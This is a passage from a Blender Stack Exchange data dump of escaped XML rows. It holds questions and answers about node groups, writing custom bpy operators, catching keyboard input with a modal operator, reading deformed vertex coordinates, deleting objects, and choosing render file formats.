node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8f8TI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the case of this node group, it supplies a &lt;em&gt;Shader&lt;/em&gt; output, however some node groups return a value or an image (or a vector, or even multiple different outputs).&lt;/p&gt;&#xA;&lt;h1&gt;Editing node groups:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can edit the nodes in a node group by selecting it and pressing &lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can edit, add and remove inputs and outputs of the node group in the &lt;em&gt;Properties region&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jpniO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can have node groups inside node groups, so to go to the parent group (the node tree in which the currently active group is located) press the &lt;img src=&quot;https://i.stack.imgur.com/pzcXp.png&quot; alt=&quot;up&quot; /&gt; button on the header. (you can think of this behavior as a file tree with the base node editor as &lt;code&gt;root&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/shader_nodes/groups.html?#ungroup&quot; rel=&quot;nofollow noreferrer&quot;&gt;ungroup&lt;/a&gt; nodes by selecting the group node and pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;. This will place all the nodes in that node group in the current node tree. (I.e. the currently open group or the base node editor)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Other things to note:&lt;/h1&gt;&#xA;&lt;p&gt;The way node groups look and function &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Node_Editor#Group_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;changed a lot in 2.67&lt;/a&gt;. See the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Node_Editor#Group_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for a full description of the changes&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-06-24T23:09:12.137" LastActivityDate="2020-06-24T23:09:12.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="3458" PostTypeId="2" ParentId="3445" CreationDate="2013-10-21T23:27:07.140" Score="4" Body="&lt;p&gt;That's because &lt;code&gt;context.active_object.location=(0,0,0)&lt;/code&gt; is not an operator. It's a statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could define your own operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;def main(context):&#xA;    # This is what happens when your operator is invoked.&#xA;    context.active_object.location = (0, 0, 0)&#xA;&#xA;class SnapToCenterOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Snaps an object to the center.&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.snap_to_center_operator&quot;&#xA;    bl_label = &quot;Snap Object to Center&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        # This is called to determine whether the operator can be invoked&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        # This invokes the operator and returns a state&#xA;        main(context)&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    # If it's an addon, this is called when the addon is enabled&#xA;    bpy.utils.register_class(SnapToCenterOperator)&#xA;def unregister():&#xA;    # If it's an addon, this is called when the addon is disabled&#xA;    bpy.utils.unregister_class(SnapToCenterOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    # We use this to register it in case we're running it manually&#xA;    # (which we are; click the &quot;Run Script&quot; button)&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.operator(&quot;view3d.snap_to_center&quot;, text=&quot;Origin&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to achieve the desired result.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; This is just an example on how to create your own operator. In this case you'll &lt;a href=&quot;https://blender.stackexchange.com/questions/3445/python-buttons-not-appearing-in-blender/3459?noredirect=1#comment5898_3459&quot;&gt;actually just want to use&lt;/a&gt; &lt;code&gt;bpy.ops.object.location_clear&lt;/code&gt;, as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row.operator(&quot;object.location_clear&quot;, text=&quot;Origin&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="372" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-10-22T03:26:04.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3459" PostTypeId="2" ParentId="3445" CreationDate="2013-10-22T00:57:27.353" Score="4" Body="&lt;p&gt;Function &lt;code&gt;row&lt;/code&gt;.&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.UILayout.html#bpy.types.UILayout.operator&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;operator()&lt;/code&gt;&lt;/a&gt; only accepts &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.html&quot; rel=&quot;nofollow&quot;&gt;operators&lt;/a&gt;, the full name of which are prefixed with &lt;code&gt;bpy.ops.&lt;/code&gt;, as in &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.transform.html#bpy.ops.transform.resize&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.transform.resize&lt;/code&gt;&lt;/a&gt; for the 1st row. The 2nd row fails because it's not an operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mechanism for passing arguments to an operator is by using the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.OperatorProperties.html#bpy.types.OperatorProperties&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;OperatorProperties&lt;/code&gt;&lt;/a&gt; object returned by &lt;code&gt;operator()&lt;/code&gt;. So, the 3rd row could be rewritten like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;row = layout.row()&#xA;prop = row.operator(&quot;transform.translate&quot;, text=&quot;Orgin&quot;)&#xA;prop.value = (1, 0, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that your original &lt;code&gt;value&lt;/code&gt; argument of &lt;code&gt;(0, 0, 0)&lt;/code&gt; wouldn't move the object anywhere, as if it fails to execute. The &lt;code&gt;value&lt;/code&gt; I use above will move it 1 unit across X axis.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-10-22T00:57:27.353" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3460" PostTypeId="2" ParentId="3441" CreationDate="2013-10-22T05:50:16.363" Score="16" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/3441/setting-objects-into-edit-mode-often-seems-to-fail-in-python-script#comment5884_3441&quot;&gt;mentioned&lt;/a&gt; by dimus, your problem is solved by adding keyword to the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.mesh.html#bpy.ops.mesh.remove_doubles&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;mesh.remove_doubles&lt;/code&gt;&lt;/a&gt; operator's first argument, meant as &lt;code&gt;threshold&lt;/code&gt; property value. With that little bug fixed, your script works properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What causes the error is that, &lt;strong&gt;keyword arguments&lt;/strong&gt; are used to set operator properties, and &lt;strong&gt;positional arguments&lt;/strong&gt; to set how the operator is called (further explained in the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.ops.html#keywords-and-positional-arguments&quot; rel=&quot;noreferrer&quot;&gt;API docs&lt;/a&gt;). By not using a keyword for the first argument, you're turning it into a &lt;em&gt;positional&lt;/em&gt; argument, thus interpreted as operator execution context which is an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Another possible error is iterating over &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.BlendData.html#bpy.types.BlendData.objects&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.data.objects&lt;/code&gt;&lt;/a&gt;, which comprises of all objects &lt;em&gt;in every scene&lt;/em&gt; in a file. The script is bound to fail if there's more than one scene in a file containing a &lt;code&gt;MESH&lt;/code&gt; object, because it'll try to make object from a different scene the active object of current scene which is contextually incorrect. You should iterate over &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Scene.html#bpy.types.Scene.objects&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.context.scene.objects&lt;/code&gt;&lt;/a&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the amended code, can't see any other bug:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;scene.layers = [True] * 20 # Show all layers&#xA;&#xA;for obj in scene.objects:&#xA;    if obj.type == 'MESH':&#xA;        scene.objects.active = obj&#xA;&#xA;        bpy.ops.object.mode_set(mode='EDIT')&#xA;        bpy.ops.mesh.remove_doubles(threshold=0.0001)&#xA;        bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2013-10-23T22:42:48.880" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3461" PostTypeId="2" ParentId="3446" CreationDate="2013-10-22T06:33:36.950" Score="1" Body="&lt;p&gt;You can change this in the &lt;strong&gt;User Preferences&lt;/strong&gt; pane found at the top left of the main window in the &lt;strong&gt;File&lt;/strong&gt; menu.&lt;br&gt;&#xA;Next click the &lt;strong&gt;Input&lt;/strong&gt; tab, then locate &lt;strong&gt;Select With&lt;/strong&gt;, you will see two options which are &lt;strong&gt;Left&lt;/strong&gt; and &lt;strong&gt;Right&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to look a little further down for &lt;strong&gt;Invert Zoom Direction&lt;/strong&gt; if the current mouse wheel zoom seems backwards to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the very bottom, you should see a button that says &lt;strong&gt;Save User Settings&lt;/strong&gt;, click this to save the change.  Just be sure to remember this when you are following any tutorials or you will end up really confused.  It's really not a big deal once you know what's going on here.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2013-10-22T06:33:36.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3462" PostTypeId="1" AcceptedAnswerId="3463" CreationDate="2013-10-22T08:22:29.747" Score="6" ViewCount="2308" Body="&lt;p&gt;I am working with a makehuman model in blender. To change the pose of the model I modify the scale and rotation parameters of the bones. The code looks similar to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.pose.bones['hand.fk.R'].rotation_euler[0] = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My goal is now to get the location of a specific vertex after some pose changes. I already tried to transform the vertex location with the object world matrix&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['makehuman'].matrix_world * v.co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but since the world matrix is an identity matrix the result is the same independent from the current pose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I derive the vertex location after a pose change, or is it even possible?&lt;/p&gt;&#xA;" OwnerUserId="1455" LastEditorUserId="29" LastEditDate="2013-11-04T10:52:12.743" LastActivityDate="2016-10-27T19:07:24.173" Title="Vertex coordinate after pose change" Tags="&lt;python&gt;&lt;coordinates&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3463" PostTypeId="2" ParentId="3462" CreationDate="2013-10-22T09:58:04.110" Score="6" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Object.html?highlight=to_mesh#bpy.types.Object.to_mesh&quot;&gt;Object.to_mesh()&lt;/a&gt; to create a mesh datablock, which has deformations and modifiers applied. &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Mesh.html?highlight=to_mesh#bpy.types.Mesh.transform&quot;&gt;Mesh.transform()&lt;/a&gt; that with &lt;code&gt;.matrix_world&lt;/code&gt; for world space:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;C = bpy.context&#xA;ob = C.object&#xA;&#xA;print(ob.data.vertices[0].co, &quot;- Vert 0 (original)&quot;)&#xA;&#xA;me = ob.to_mesh(scene=C.scene, apply_modifiers=True, settings='PREVIEW')&#xA;print(me.vertices[0].co, &quot; - Vert 0 (deformed/modified)&quot;)&#xA;&#xA;me.transform(ob.matrix_world)&#xA;print(me.vertices[0].co, &quot; - Vert 0 (deformed/modified, world space)&quot;)&#xA;&#xA;bpy.data.meshes.remove(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that vertex indices may differ after modifiers are applied (e.g. Array, Bevel, ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, the bmesh module can be used to achieve the same as the above script.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-10-22T09:58:04.110" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3465" PostTypeId="1" AcceptedAnswerId="3466" CreationDate="2013-10-22T13:58:01.013" Score="5" ViewCount="4093" Body="&lt;p&gt;I'm writing a leap motion blender input plugin, largely because the existing efforts seem to have stalled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the problematic issues with the leap is that after moving / scaling / rotating an object, there's no good way to 'stop' the leap input. Even using both hand, the leap often awkwardly tracks tiny jitters as you change gesture or add/remove hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution seems to be to control the input of the leap by keyboard input; eg. hold down control to designate input mode, and release it to 'drop' the object or stop rotating the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm having trouble trying to catch this sort of input from the plugin api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at &lt;code&gt;bpy.context.window_manager.keyconfigs&lt;/code&gt;, but it doesn't seem helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I catch the input of keydown / keyup on &lt;kbd&gt;control&lt;/kbd&gt; keys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that I have explored the idea of adding new keyconfig's to 'start leap mode' and 'stop leap mode' using operators (eg.  &lt;kbd&gt;cntl &lt;/kbd&gt;-&lt;kbd&gt;Z&lt;/kbd&gt; start,  &lt;kbd&gt;cntl&lt;/kbd&gt;-&lt;kbd&gt;shift&lt;/kbd&gt;-&lt;kbd&gt;Z&lt;/kbd&gt; stop, or whatever) but finding free easy-to-press key bindings is really tricky and it is, practically speaking, really awkward. So uh... if you were going to suggest that, dont? It's not really a good solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Incidentally, the existing efforts at leap bindings were all tease and no action, frustratingly; that sucks. If you want to see what I've done, such as it is, the source is located here: &lt;a href=&quot;https://github.com/shadowmint/leap-blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/shadowmint/leap-blender&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1406" LastEditorUserId="15795" LastEditDate="2017-01-23T21:29:53.830" LastActivityDate="2017-01-23T21:29:53.830" Title="How do I catch keyboard input for a blender plugin?" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3466" PostTypeId="2" ParentId="3465" CreationDate="2013-10-22T15:29:32.207" Score="5" Body="&lt;p&gt;I have no means to test for your intended usage, but maybe a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Operator.html#modal-execution&quot; rel=&quot;noreferrer&quot;&gt;modal operator&lt;/a&gt; is viable. Based on your use case, here's an operator template you could modify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class VIEW3D_OT_process_input(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Process input while Control key is pressed.&quot;&quot;&quot;&#xA;    bl_idname = 'view3d.process_input'&#xA;    bl_label = 'Process Input'&#xA;    bl_options = {'REGISTER'}&#xA;&#xA;def modal(self, context, event):&#xA;    if event.type == 'ESC':&#xA;        return {'FINISHED'}&#xA;    elif event.ctrl:&#xA;        pass # Input processing code.&#xA;&#xA;    return {'PASS_THROUGH'}&#xA;&#xA;def invoke(self, context, event):&#xA;    context.window_manager.modal_handler_add(self)&#xA;    return {'RUNNING_MODAL'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Watching input &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Event.html&quot; rel=&quot;noreferrer&quot;&gt;event&lt;/a&gt; being passed as argument, the operator will keep running (by returning &lt;code&gt;PASS_THROUGH&lt;/code&gt;) until a condition, in this case pressing &lt;kbd&gt;Esc&lt;/kbd&gt; button, is met. The input processing code itself is only executed if &lt;kbd&gt;Ctrl&lt;/kbd&gt; key is pressed.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-10-22T15:29:32.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3467" PostTypeId="1" AcceptedAnswerId="3469" CreationDate="2013-10-22T19:34:02.113" Score="9" ViewCount="53052" Body="&lt;p&gt;I want to delete an object. So I press the &lt;kbd&gt;Delete&lt;/kbd&gt; button and then a menu pops up and I select vertices. But then the object still appears in the outliner. I still see &quot;cube' there.&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorDisplayName="user320" LastEditDate="2013-10-22T19:47:43.387" LastActivityDate="2021-04-08T07:36:57.530" Title="How do I delete an object?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3468" PostTypeId="2" ParentId="3467" CreationDate="2013-10-22T19:37:56.993" Score="13" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Basics/Deleting&quot; rel=&quot;noreferrer&quot;&gt;Deleting in &lt;em&gt;Edit mode&lt;/em&gt;&lt;/a&gt; only deletes the geometry elements of the object. Other data (Modifiers, location, rotation, etc.) is still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To delete an &lt;em&gt;object&lt;/em&gt;, you need to delete in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Object mode&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Modes&quot; rel=&quot;noreferrer&quot;&gt;mode&lt;/a&gt; to object mode. There are two ways to do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing &lt;kbd&gt;Tab&lt;/kbd&gt; toggles &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Edit mode&lt;/em&gt;&lt;/a&gt;. (Pressing &lt;kbd&gt;Tab&lt;/kbd&gt; while in &lt;em&gt;Edit mode&lt;/em&gt; switches to the last mode used before &lt;em&gt;Edit mode&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Directly setting the mode to &lt;em&gt;Object&lt;/em&gt; from the menu in the &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HNEy0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object you want to delete and press &lt;kbd&gt;Delete&lt;/kbd&gt; or &lt;kbd&gt;X&lt;/kbd&gt;&lt;em&gt;&gt; Delete&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hu9KH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For more information about modes, see the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Modes&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Modes are a Blender-level object-oriented feature, which means that&#xA;  the whole Blender application is always in one and only one mode, and&#xA;  that the available modes vary depending on the selected active&#xA;  object’s type – most of them only enable the default Object mode (like&#xA;  cameras, lamps, etc.). Each mode is designed to edit an aspect of the&#xA;  selected object. See the Blender’s Modes table below for details.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-10-22T19:54:18.003" LastActivityDate="2013-10-22T19:54:18.003" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3469" PostTypeId="2" ParentId="3467" CreationDate="2013-10-22T19:39:00.420" Score="16" Body="&lt;p&gt;You have to delete from object from &lt;em&gt;Object Mode&lt;/em&gt;, not &lt;em&gt;Edit Mode&lt;/em&gt;. You can switch between &lt;em&gt;Object Mode&lt;/em&gt; and &lt;em&gt;Edit Mode&lt;/em&gt; using the &lt;kbd&gt;Tab&lt;/kbd&gt; key on your keyboard. You can also switch using he drop down menu on the bottom panel of the 3d View window.Then hit delete again (Function delete on Mac) and you will be able to &lt;kbd&gt;Delete&lt;/kbd&gt; the object entirely, it will also disappear from the outliner. If you want to delete parts of your mesh use &lt;em&gt;Edit Mode&lt;/em&gt;, if you want to delete the entire mesh use &lt;em&gt;Object Mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to &lt;em&gt;Object Mode&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C1XWR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can delete&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jVOjp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="73641" LastEditorDisplayName="user320" LastEditDate="2019-05-01T20:50:07.183" LastActivityDate="2019-05-01T20:50:07.183" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="3470" PostTypeId="1" AcceptedAnswerId="3472" CreationDate="2013-10-22T19:59:09.810" Score="21" ViewCount="41864" Body="&lt;p&gt;I am new to Blender and want to render  an image of my object. I see that there are a lot lot lot of file formats to chose from. Which one should I pick?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="599" LastEditDate="2013-11-02T21:52:32.927" LastActivityDate="2020-06-10T18:56:13.753" Title="What file format should I use for rendering?" Tags="&lt;rendering&gt;&lt;file-format&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3471" PostTypeId="2" ParentId="3470" CreationDate="2013-10-22T20:06:08.530" Score="6" Body="&lt;p&gt;In a nutshell this is what I usually use -- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PNG 8 bit is fine to save file without any changes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PNG 16bit is fine for some editing in Photoshop/Gimp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heavy color editing and compositing --  OpenEXR -- has a huge dynamic range&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heavy compositing, animation/movie compositing -- OpenEXR multilayer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OpenEXR multilayer is amazingly powerful format. It allows to keep multiple frames for animation or movie, all/any Cycles rendering passes, and practically unlimited dynamic color range. All of it comes at a cost of huge file sizes. This format is completely supported by Blender compositor, Photoshop does not support it completely at the moment (there is a plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To appreciate what is possible with Multilayer OpenEXR see &lt;a href=&quot;http://cgcookie.com/blender/2012/12/10/compositing-cycles-render-passes-blender/&quot; rel=&quot;nofollow&quot;&gt;http://cgcookie.com/blender/2012/12/10/compositing-cycles-render-passes-blender/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-10-25T21:24:00.640" LastActivityDate="2013-10-25T21:24:00.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3472" PostTypeId="2" ParentId="3470" CreationDate="2013-10-22T20:06:26.657" Score="30" Body="&lt;h1&gt;Animation&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It's generally good practice to render to an image sequence first, then combine all the images into a video format after the render is complete. This allows for the render to stop (whether the result of a crash or just canceling the render to use the computer for something else) and still be able to resume by setting the &lt;em&gt;Start&lt;/em&gt; frame to the frame after the last rendered and restarting the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/4881/599&quot;&gt;my answer here&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Stills&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As a personal preference I use &lt;code&gt;PNG&lt;/code&gt; as a kind of default, but each format has it's advantages. The format you use will also depend on what kind of data you need to keep and how much disk space you can spare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output#Image_Formats&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt; for descriptions and a list of supported image formats:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;BMP&lt;/strong&gt;    Bit-Mapped Paint loss-less format used by early paint programs.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Iris&lt;/strong&gt;  The standard Silicon Graphics Inc (SGI) format used on some Unix OS machines. &lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;PNG&lt;/strong&gt;    Portable Network Graphics, a standard    meant to replace old GIF inasmuch as it is loss-less, but supports    full true color&#xA;  images. Supports Alpha channel.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Enable the RGBA button to save the Alpha channel. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;RGBA&lt;/em&gt; option is in &lt;em&gt;Properties &gt; Render settings &gt; Output&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wLEtl.png&quot; alt=&quot;RGBA option&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Jpeg&lt;/strong&gt;  Joint Picture Expert Group (name of the consortium which    defined it), an open format that supports very good compression with&lt;br&gt;&#xA;  little loss of quality. Only saves RGB values. Re-saving images&lt;br&gt;&#xA;  results in more and more compression and loss of quality.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Jpeg 2000&lt;/strong&gt;&#xA;    Uses the Jpeg 2000 codec. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;TARGA&lt;/strong&gt; and &lt;strong&gt;Targa raw&lt;/strong&gt;    Truevision Advanced    Raster Graphics Adapter is a simple raster graphics format&lt;br&gt;&#xA;  established in 1984 and used by the original IBM PCs. Supports Alpha&lt;br&gt;&#xA;  Channel.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Enable the RGBA button to save the Alpha channel. &lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;&lt;strong&gt;Cineon&lt;/strong&gt;    format produced by a Kodak Cineon camera and used in high-end    graphics software and more directed toward digital film.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;DPX&lt;/strong&gt;    Digital    Moving-Picture eXchange format; an open 